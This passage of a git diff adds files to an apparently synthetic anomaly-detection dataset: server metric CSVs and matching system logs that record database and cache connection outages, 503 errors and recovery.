/api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:04:00 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:05 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:04:10 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:04:15 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:20 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:04:25 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:04:30 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:35 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:04:40 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:04:45 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:04:50 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:04:55 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:05:00 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:05 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:05:10 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:05:15 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:20 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:05:25 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:05:30 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:35 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:05:40 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:05:45 web-app[2235]: ERROR Failed to connect to database: Connection timed out +Jul 02 12:05:50 web-app[2235]: WARN Cache connection failed: dial tcp 10.1.2.3:6379: i/o timeout +Jul 02 12:05:55 api-gateway[4567]: GET /api/v1/data status=503 Service Unavailable reason: 'downstream service unavailable' +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:00 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:06:00 web-app[2235]: INFO Successfully reconnected to database +Jul 02 12:06:15 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:06:30 web-app[2235]: GET /api/v1/products status=200 OK +Jul 02 12:06:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:45 web-app[2235]: GET /api/v1/user/78 status=200 OK +Jul 02 12:07:00 web-app[2235]: POST /api/v1/login status=200 OK +Jul 02 12:07:15 web-app[2235]: POST /api/v1/login status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_25.csv b/anom_dataset/scenario_13/anom_13_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..ba066d98bd403f44626c3df377eca9c72d904e9b --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_25.csv @@ -0,0 +1,91 @@ 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+2025-07-13T11:06:35Z,9.94,64.07,25.42,1.15,0.89 +2025-07-13T11:06:40Z,19.74,64.91,35.37,1.19,1.11 +2025-07-13T11:06:45Z,13.75,66.47,38.42,1.38,1.19 +2025-07-13T11:06:50Z,11.36,64.54,28.54,1.0,1.06 +2025-07-13T11:06:55Z,12.85,65.76,29.96,0.63,0.83 +2025-07-13T11:07:00Z,14.54,64.4,33.02,0.98,0.9 +2025-07-13T11:07:05Z,17.29,63.82,32.61,1.21,1.01 +2025-07-13T11:07:10Z,17.46,64.07,37.59,0.95,0.84 +2025-07-13T11:07:15Z,13.74,64.91,21.26,0.99,1.15 +2025-07-13T11:07:20Z,13.21,64.64,26.71,1.09,1.15 +2025-07-13T11:07:25Z,21.84,63.66,24.58,1.08,0.81 diff --git a/anom_dataset/scenario_13/anom_13_25.log b/anom_dataset/scenario_13/anom_13_25.log new file mode 100644 index 0000000000000000000000000000000000000000..90413c8fb378589ff2c5227f3166f2f45bf08add --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_25.log @@ -0,0 +1,91 @@ +Jul 13 11:00:00 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 13 11:00:05 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 13 11:00:10 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 13 11:00:15 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 13 11:00:20 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 13 11:00:25 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 13 11:00:30 web-app[1234]: GET /api/v1/user/44 status=200 OK +Jul 13 11:00:35 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 13 11:00:40 web-app[1234]: GET /api/v1/user/29 status=200 OK +Jul 13 11:00:45 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 13 11:00:50 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 13 11:00:55 systemd[1]: Starting daily clean up activities... +Jul 13 11:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:01:05 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 13 11:01:10 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 13 11:01:15 systemd[1]: Starting daily clean up activities... +Jul 13 11:01:20 systemd[1]: Starting daily clean up activities... +Jul 13 11:01:25 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 13 11:01:30 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 13 11:01:35 systemd[1]: Starting daily clean up activities... +Jul 13 11:01:40 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 13 11:01:45 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 13 11:01:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:01:55 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 13 11:02:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:02:05 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 13 11:02:10 systemd[1]: Starting daily clean up activities... +Jul 13 11:02:15 web-app[1234]: GET /api/v1/user/32 status=200 OK +Jul 13 11:02:20 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 13 11:02:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:02:35 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:02:40 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:02:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:02:50 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:02:55 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:00 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:05 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:03:10 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:15 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:20 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:25 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:30 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:03:35 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:03:40 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:03:45 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:03:50 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:03:55 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:04:00 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:04:05 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:04:10 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:04:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:04:20 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:04:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:04:30 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:04:35 web-app[1234]: WARN Service degradation: a downstream service is unavailable +Jul 13 11:04:40 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:04:45 web-app[1234]: WARN Service degradation: a downstream service is unavailable +Jul 13 11:04:50 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:04:55 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:05:00 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:05:05 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:05:10 web-app[1234]: ERROR Timeout while connecting to redis cache at redis.internal:6379 +Jul 13 11:05:15 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:05:20 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:05:25 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:05:30 web-app[1234]: GET /api/v1/data status=503 Service Unavailable +Jul 13 11:05:35 web-app[1234]: WARN Service degradation: a downstream service is unavailable +Jul 13 11:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:05:45 web-app[1234]: ERROR Failed to connect to database at db.internal:5432 - Connection timed out +Jul 13 11:05:50 web-app[1234]: INFO Successfully reconnected to database at db.internal:5432 +Jul 13 11:05:50 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 13 11:05:55 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 13 11:06:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 11:06:05 systemd[1]: Starting daily clean up activities... +Jul 13 11:06:10 systemd[1]: Starting daily clean up activities... +Jul 13 11:06:15 web-app[1234]: GET /api/v1/user/46 status=200 OK +Jul 13 11:06:20 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 13 11:06:25 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 13 11:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:06:35 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 13 11:06:40 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 13 11:06:45 web-app[1234]: GET /api/v1/user/39 status=200 OK +Jul 13 11:06:50 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 13 11:06:55 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 13 11:07:00 systemd[1]: Starting daily clean up activities... +Jul 13 11:07:05 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 13 11:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 13 11:07:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 13 11:07:20 web-app[1234]: GET /api/v1/user/39 status=200 OK +Jul 13 11:07:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_13/anom_13_26.csv b/anom_dataset/scenario_13/anom_13_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..27be4c319f2c7d7b09c96ee7d044d0ca03589aac --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T14:00:00Z,22.69,44.73,22.43,1.34,1.03 +2025-07-13T14:00:05Z,22.89,44.36,25.83,1.18,1.2 +2025-07-13T14:00:10Z,20.84,41.43,25.95,1.21,1.13 +2025-07-13T14:00:15Z,17.93,41.98,30.66,1.39,1.18 +2025-07-13T14:00:20Z,24.21,44.7,25.37,1.29,0.8 +2025-07-13T14:00:25Z,20.6,44.02,24.96,1.29,0.94 +2025-07-13T14:00:30Z,23.89,45.02,31.89,1.5,0.83 +2025-07-13T14:00:35Z,20.14,44.91,33.26,1.15,1.21 +2025-07-13T14:00:40Z,18.55,41.98,30.42,1.31,1.21 +2025-07-13T14:00:45Z,15.2,44.11,22.97,1.18,0.8 +2025-07-13T14:00:50Z,21.71,41.73,25.56,1.39,1.3 +2025-07-13T14:00:55Z,16.62,42.83,30.25,1.36,1.0 +2025-07-13T14:01:00Z,21.73,42.26,33.1,1.13,1.23 +2025-07-13T14:01:05Z,17.98,43.39,25.45,1.21,1.02 +2025-07-13T14:01:10Z,20.28,42.44,31.56,1.2,1.08 +2025-07-13T14:01:15Z,16.23,45.65,27.71,1.08,1.0 +2025-07-13T14:01:20Z,16.6,42.95,32.77,1.46,0.81 +2025-07-13T14:01:25Z,20.83,43.92,21.97,1.26,1.0 +2025-07-13T14:01:30Z,21.88,44.77,27.13,1.17,1.05 +2025-07-13T14:01:35Z,16.58,45.88,29.52,1.39,1.24 +2025-07-13T14:01:40Z,17.77,43.91,23.56,1.28,1.05 +2025-07-13T14:01:45Z,20.18,44.69,25.3,1.32,1.11 +2025-07-13T14:01:50Z,23.24,41.37,25.62,1.49,0.91 +2025-07-13T14:01:55Z,15.01,42.15,28.97,1.24,0.82 +2025-07-13T14:02:00Z,16.82,44.5,27.8,1.16,0.95 +2025-07-13T14:02:05Z,17.21,42.59,33.93,1.36,1.25 +2025-07-13T14:02:10Z,20.84,45.34,20.29,1.17,0.81 +2025-07-13T14:02:15Z,15.56,41.4,27.22,1.14,1.09 +2025-07-13T14:02:20Z,24.17,44.02,25.07,1.5,1.27 +2025-07-13T14:02:25Z,15.34,45.09,26.46,1.46,1.17 +2025-07-13T14:02:30Z,5.11,45.62,28.78,0.17,0.1 +2025-07-13T14:02:35Z,8.15,44.95,25.67,0.2,0.18 +2025-07-13T14:02:40Z,8.81,46.1,29.09,0.2,0.2 +2025-07-13T14:02:45Z,8.79,46.71,25.55,0.16,0.2 +2025-07-13T14:02:50Z,6.79,46.36,28.71,0.16,0.2 +2025-07-13T14:02:55Z,5.89,46.59,28.58,0.15,0.16 +2025-07-13T14:03:00Z,9.81,47.7,21.94,0.24,0.19 +2025-07-13T14:03:05Z,6.92,49.43,23.83,0.29,0.1 +2025-07-13T14:03:10Z,9.7,48.49,33.88,0.29,0.12 +2025-07-13T14:03:15Z,8.81,49.09,22.93,0.18,0.18 +2025-07-13T14:03:20Z,5.96,50.22,32.29,0.15,0.15 +2025-07-13T14:03:25Z,9.46,50.0,26.05,0.25,0.13 +2025-07-13T14:03:30Z,6.86,50.44,26.89,0.19,0.19 +2025-07-13T14:03:35Z,8.63,52.19,30.94,0.12,0.2 +2025-07-13T14:03:40Z,6.01,52.05,20.25,0.19,0.11 +2025-07-13T14:03:45Z,8.54,52.53,28.56,0.25,0.14 +2025-07-13T14:03:50Z,6.82,53.16,33.72,0.27,0.11 +2025-07-13T14:03:55Z,6.72,53.2,28.47,0.21,0.14 +2025-07-13T14:04:00Z,9.42,54.92,22.92,0.12,0.11 +2025-07-13T14:04:05Z,7.68,55.07,30.82,0.1,0.17 +2025-07-13T14:04:10Z,8.39,55.12,30.61,0.17,0.18 +2025-07-13T14:04:15Z,9.76,56.41,25.56,0.17,0.17 +2025-07-13T14:04:20Z,9.32,55.94,21.3,0.19,0.1 +2025-07-13T14:04:25Z,9.62,57.38,25.17,0.17,0.11 +2025-07-13T14:04:30Z,9.77,57.67,25.27,0.22,0.12 +2025-07-13T14:04:35Z,6.45,57.63,21.35,0.13,0.15 +2025-07-13T14:04:40Z,6.74,57.12,22.75,0.26,0.13 +2025-07-13T14:04:45Z,6.71,58.17,20.91,0.16,0.2 +2025-07-13T14:04:50Z,6.53,59.9,22.15,0.27,0.17 +2025-07-13T14:04:55Z,8.27,60.12,21.15,0.21,0.15 +2025-07-13T14:05:00Z,9.2,59.35,21.04,0.2,0.18 +2025-07-13T14:05:05Z,5.64,60.96,29.23,0.12,0.2 +2025-07-13T14:05:10Z,6.67,61.71,30.8,0.12,0.19 +2025-07-13T14:05:15Z,5.22,60.96,25.72,0.15,0.17 +2025-07-13T14:05:20Z,5.02,62.96,24.24,0.1,0.17 +2025-07-13T14:05:25Z,8.35,62.67,29.93,0.2,0.17 +2025-07-13T14:05:30Z,5.16,62.78,27.23,0.21,0.12 +2025-07-13T14:05:35Z,6.8,63.97,28.66,0.27,0.17 +2025-07-13T14:05:40Z,7.07,63.1,32.67,0.27,0.17 +2025-07-13T14:05:45Z,6.55,65.04,33.41,0.13,0.11 +2025-07-13T14:05:50Z,7.44,63.99,23.51,0.19,0.16 +2025-07-13T14:05:55Z,8.26,62.94,33.71,0.26,0.2 +2025-07-13T14:06:00Z,8.16,61.55,26.29,0.29,0.23 +2025-07-13T14:06:05Z,9.71,60.81,22.18,0.36,0.33 +2025-07-13T14:06:10Z,10.23,59.32,21.3,0.36,0.38 +2025-07-13T14:06:15Z,9.84,58.82,27.53,0.43,0.42 +2025-07-13T14:06:20Z,9.58,57.98,25.65,0.46,0.52 +2025-07-13T14:06:25Z,11.28,55.96,27.11,0.67,0.58 +2025-07-13T14:06:30Z,10.42,54.69,25.48,0.74,0.43 +2025-07-13T14:06:35Z,15.76,54.62,20.32,0.67,0.58 +2025-07-13T14:06:40Z,15.05,52.3,28.93,0.82,0.6 +2025-07-13T14:06:45Z,14.44,52.97,21.96,0.89,0.64 +2025-07-13T14:06:50Z,17.36,50.33,22.81,0.8,0.78 +2025-07-13T14:06:55Z,14.11,47.7,23.39,0.86,0.67 +2025-07-13T14:07:00Z,19.32,47.77,32.32,0.84,0.75 +2025-07-13T14:07:05Z,13.67,46.25,28.62,1.12,0.88 +2025-07-13T14:07:10Z,13.91,46.13,22.34,1.07,1.05 +2025-07-13T14:07:15Z,18.85,44.85,32.47,1.19,0.74 +2025-07-13T14:07:20Z,15.87,43.98,25.39,1.2,0.84 +2025-07-13T14:07:25Z,19.02,44.06,22.05,1.46,1.07 diff --git a/anom_dataset/scenario_13/anom_13_26.log b/anom_dataset/scenario_13/anom_13_26.log new file mode 100644 index 0000000000000000000000000000000000000000..52a777954e9ced7d7ee78134b810e2eb9e790aad --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_26.log @@ -0,0 +1,96 @@ +Jul 13 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 14:00:00 api-gateway[3456]: GET /api/v1/user/10 status=200 OK +Jul 13 14:00:05 api-gateway[3456]: GET /api/v1/user/27 status=200 OK +Jul 13 14:00:10 api-gateway[3456]: GET /api/v1/user/10 status=200 OK +Jul 13 14:00:15 api-gateway[3456]: GET /api/v1/user/37 status=200 OK +Jul 13 14:00:20 api-gateway[3456]: GET /api/v1/user/23 status=200 OK +Jul 13 14:00:25 api-gateway[3456]: GET /api/v1/user/34 status=200 OK +Jul 13 14:00:30 api-gateway[3456]: GET /api/v1/user/46 status=200 OK +Jul 13 14:00:35 api-gateway[3456]: GET /api/v1/user/40 status=200 OK +Jul 13 14:00:40 api-gateway[3456]: GET /api/v1/user/40 status=200 OK +Jul 13 14:00:45 api-gateway[3456]: GET /api/v1/user/22 status=200 OK +Jul 13 14:00:50 api-gateway[3456]: GET /api/v1/user/29 status=200 OK +Jul 13 14:00:55 api-gateway[3456]: GET /api/v1/user/16 status=200 OK +Jul 13 14:01:00 api-gateway[3456]: GET /api/v1/user/31 status=200 OK +Jul 13 14:01:05 api-gateway[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:01:10 api-gateway[3456]: GET /api/v1/user/20 status=200 OK +Jul 13 14:01:15 systemd[1]: Starting daily clean up activities... +Jul 13 14:01:15 api-gateway[3456]: GET /api/v1/user/14 status=200 OK +Jul 13 14:01:20 api-gateway[3456]: GET /api/v1/user/23 status=200 OK +Jul 13 14:01:25 api-gateway[3456]: GET /api/v1/user/20 status=200 OK +Jul 13 14:01:30 api-gateway[3456]: GET /api/v1/user/19 status=200 OK +Jul 13 14:01:35 api-gateway[3456]: GET /api/v1/user/16 status=200 OK +Jul 13 14:01:40 api-gateway[3456]: GET /api/v1/user/27 status=200 OK +Jul 13 14:01:45 api-gateway[3456]: GET /api/v1/user/35 status=200 OK +Jul 13 14:01:50 api-gateway[3456]: GET /api/v1/user/44 status=200 OK +Jul 13 14:01:55 api-gateway[3456]: GET /api/v1/user/30 status=200 OK +Jul 13 14:02:00 api-gateway[3456]: GET /api/v1/user/25 status=200 OK +Jul 13 14:02:05 api-gateway[3456]: GET /api/v1/user/27 status=200 OK +Jul 13 14:02:10 api-gateway[3456]: GET /api/v1/user/48 status=200 OK +Jul 13 14:02:15 api-gateway[3456]: GET /api/v1/user/10 status=200 OK +Jul 13 14:02:20 api-gateway[3456]: GET /api/v1/user/44 status=200 OK +Jul 13 14:02:25 api-gateway[3456]: GET /api/v1/user/17 status=200 OK +Jul 13 14:02:30 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:30 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:02:35 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:02:40 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:02:45 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:02:50 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:02:55 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:00 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:05 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:10 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:15 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:20 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:25 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:30 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:35 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:40 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:03:45 systemd[1]: Starting daily clean up activities... +Jul 13 14:03:45 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:03:50 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:03:55 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:04:00 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:05 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:04:10 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:15 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:20 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:04:25 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:30 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:04:35 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:40 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:04:45 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:50 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:04:55 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:05:00 systemd[1]: Starting daily clean up activities... +Jul 13 14:05:00 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:05:05 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:10 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:15 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:20 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:25 api-gateway[3456]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.12, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:30 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:05:35 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:40 api-gateway[3456]: GET /api/v1/data status=503 Service Unavailable +Jul 13 14:05:45 api-gateway[3456]: ERROR connect() failed (111: Connection refused) while connecting to upstream, client: 192.168.1.10, server: myapp.com, request: 'GET /api/v1/data' +Jul 13 14:05:50 api-gateway[3456]: GET /api/v1/user/35 status=200 OK +Jul 13 14:05:55 api-gateway[3456]: GET /api/v1/user/42 status=200 OK +Jul 13 14:06:00 api-gateway[3456]: GET /api/v1/user/30 status=200 OK +Jul 13 14:06:05 api-gateway[3456]: GET /api/v1/user/13 status=200 OK +Jul 13 14:06:10 api-gateway[3456]: GET /api/v1/user/38 status=200 OK +Jul 13 14:06:15 systemd[1]: Starting daily clean up activities... +Jul 13 14:06:15 api-gateway[3456]: GET /api/v1/user/34 status=200 OK +Jul 13 14:06:20 api-gateway[3456]: GET /api/v1/user/37 status=200 OK +Jul 13 14:06:25 api-gateway[3456]: GET /api/v1/user/48 status=200 OK +Jul 13 14:06:30 api-gateway[3456]: GET /api/v1/user/27 status=200 OK +Jul 13 14:06:35 api-gateway[3456]: GET /api/v1/user/16 status=200 OK +Jul 13 14:06:40 api-gateway[3456]: GET /api/v1/user/18 status=200 OK +Jul 13 14:06:45 api-gateway[3456]: GET /api/v1/user/21 status=200 OK +Jul 13 14:06:50 api-gateway[3456]: GET /api/v1/user/14 status=200 OK +Jul 13 14:06:55 api-gateway[3456]: GET /api/v1/user/32 status=200 OK +Jul 13 14:07:00 api-gateway[3456]: GET /api/v1/user/25 status=200 OK +Jul 13 14:07:05 api-gateway[3456]: GET /api/v1/user/17 status=200 OK +Jul 13 14:07:10 api-gateway[3456]: GET /api/v1/user/21 status=200 OK +Jul 13 14:07:15 api-gateway[3456]: GET /api/v1/user/29 status=200 OK +Jul 13 14:07:20 api-gateway[3456]: GET /api/v1/user/10 status=200 OK +Jul 13 14:07:25 api-gateway[3456]: GET /api/v1/user/38 status=200 OK diff --git a/anom_dataset/scenario_13/anom_13_27.csv b/anom_dataset/scenario_13/anom_13_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..652a6d854d25149dca3b30256d69242a467ccc07 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.94,38.47,25.41,1.36,1.16 